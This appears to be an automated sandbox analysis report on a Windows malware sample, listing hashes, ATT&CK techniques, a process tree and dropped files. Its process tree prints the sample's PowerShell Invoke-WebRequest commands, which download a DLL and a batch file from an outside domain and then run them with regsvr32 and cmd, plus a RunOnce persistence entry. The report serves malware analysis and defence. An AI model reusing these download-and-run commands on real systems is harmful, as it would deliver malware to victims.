892ec03552cca2c62495e661fda9bfd113009f2d9b0a07c2b13d9f047953cb2f

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11/10/2024, 23:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3740851312af7f75741d950015901cb7_JaffaCakes118.exe
Size

165KB
MD5

3740851312af7f75741d950015901cb7
SHA1

f80ae1f66de60f5c42cfbc555be1dfb291cd6d5a
SHA256

892ec03552cca2c62495e661fda9bfd113009f2d9b0a07c2b13d9f047953cb2f
SHA512

e3c2a268e86521510e97b719e94ea64cfd4b716bcbd2eed7d896598d694a8cb5445e53f70fc0fcf4863c550bb0b3381b610a10477254febc1d45ef90607eefce
SSDEEP

3072:FahKyd2n31V5GWp1icKAArDZz4N9GhbkrNEkbD2rv:FahONp0yN90QEf

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4652	powershell.exe
4604	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	3740851312af7f75741d950015901cb7_JaffaCakes118.exe

Delays execution with timeout.exe 6 IoCs

evasion

pid	Process
1400	timeout.exe
2848	timeout.exe
3168	timeout.exe
2040	timeout.exe
3936	timeout.exe
4392	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4652	powershell.exe
4652	powershell.exe
4604	powershell.exe
4604	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeDebugPrivilege	4604	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4196 wrote to memory of 3092	4196	3740851312af7f75741d950015901cb7_JaffaCakes118.exe	83
PID 4196 wrote to memory of 3092	4196	3740851312af7f75741d950015901cb7_JaffaCakes118.exe	83
PID 3092 wrote to memory of 4652	3092	cmd.exe	85
PID 3092 wrote to memory of 4652	3092	cmd.exe	85
PID 3092 wrote to memory of 4388	3092	cmd.exe	89
PID 3092 wrote to memory of 4388	3092	cmd.exe	89
PID 3092 wrote to memory of 4604	3092	cmd.exe	90
PID 3092 wrote to memory of 4604	3092	cmd.exe	90
PID 3092 wrote to memory of 1784	3092	cmd.exe	91
PID 3092 wrote to memory of 1784	3092	cmd.exe	91
PID 3092 wrote to memory of 3168	3092	cmd.exe	92
PID 3092 wrote to memory of 3168	3092	cmd.exe	92
PID 3092 wrote to memory of 4504	3092	cmd.exe	95
PID 3092 wrote to memory of 4504	3092	cmd.exe	95
PID 3092 wrote to memory of 2040	3092	cmd.exe	96
PID 3092 wrote to memory of 2040	3092	cmd.exe	96
PID 3092 wrote to memory of 532	3092	cmd.exe	98
PID 3092 wrote to memory of 532	3092	cmd.exe	98
PID 3092 wrote to memory of 3936	3092	cmd.exe	99
PID 3092 wrote to memory of 3936	3092	cmd.exe	99
PID 3092 wrote to memory of 4428	3092	cmd.exe	100
PID 3092 wrote to memory of 4428	3092	cmd.exe	100
PID 3092 wrote to memory of 4392	3092	cmd.exe	101
PID 3092 wrote to memory of 4392	3092	cmd.exe	101
PID 3092 wrote to memory of 3928	3092	cmd.exe	102
PID 3092 wrote to memory of 3928	3092	cmd.exe	102
PID 3092 wrote to memory of 1400	3092	cmd.exe	103
PID 3092 wrote to memory of 1400	3092	cmd.exe	103
PID 3092 wrote to memory of 1924	3092	cmd.exe	104
PID 3092 wrote to memory of 1924	3092	cmd.exe	104
PID 3092 wrote to memory of 2848	3092	cmd.exe	105
PID 3092 wrote to memory of 2848	3092	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\3740851312af7f75741d950015901cb7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3740851312af7f75741d950015901cb7_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c start.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- - C:\Windows\system32\regsvr32.exe
    regsvr32 JavaE.dll
    3⤵
    PID:4388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4604
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:1784
- - C:\Windows\system32\timeout.exe
    timeout 25
    3⤵
    - Delays execution with timeout.exe
    PID:3168
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:4504
- - C:\Windows\system32\timeout.exe
    timeout 25
    3⤵
    - Delays execution with timeout.exe
    PID:2040
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:532
- - C:\Windows\system32\timeout.exe
    timeout 25
    3⤵
    - Delays execution with timeout.exe
    PID:3936
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:4428
- - C:\Windows\system32\timeout.exe
    timeout 25
    3⤵
    - Delays execution with timeout.exe
    PID:4392
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:3928
- - C:\Windows\system32\timeout.exe
    timeout 25
    3⤵
    - Delays execution with timeout.exe
    PID:1400
- - C:\Windows\system32\cmd.exe
    cmd /c nsudo.bat
    3⤵
    PID:1924
- - C:\Windows\system32\timeout.exe
    timeout 25
    3⤵
    - Delays execution with timeout.exe
    PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\start.bat

Filesize
819B

MD5
80fb5a808f313c580a5ca87a368cfd9a

SHA1
ee8de66c9ad52965a99e0694523281a5f2b3b7ae

SHA256
bd1dda480fc500c13ec266ea4116d45dd658a314e1eff5bb052f0ee43a78300e

SHA512
a3e26e8a23eb0c6b9f990758543b60a2328db0c8261538a2bfc4722ecf70efa6d44088925e30bf6ecf8e3a1beeebbc7ccb8f2a1de6ddee2164674bad553970d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5v4u3kwt.1n0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4652-3-0x00007FFB84E33000-0x00007FFB84E35000-memory.dmp

Filesize
8KB

Download
memory/4652-4-0x000002A176630000-0x000002A176652000-memory.dmp

Filesize
136KB

Download
memory/4652-14-0x00007FFB84E30000-0x00007FFB858F1000-memory.dmp

Filesize
10.8MB

Download
memory/4652-15-0x00007FFB84E30000-0x00007FFB858F1000-memory.dmp

Filesize
10.8MB

Download
memory/4652-16-0x00007FFB84E30000-0x00007FFB858F1000-memory.dmp

Filesize
10.8MB

Download
memory/4652-17-0x00007FFB84E30000-0x00007FFB858F1000-memory.dmp

Filesize
10.8MB

Download
memory/4652-20-0x00007FFB84E30000-0x00007FFB858F1000-memory.dmp

Filesize
10.8MB

Download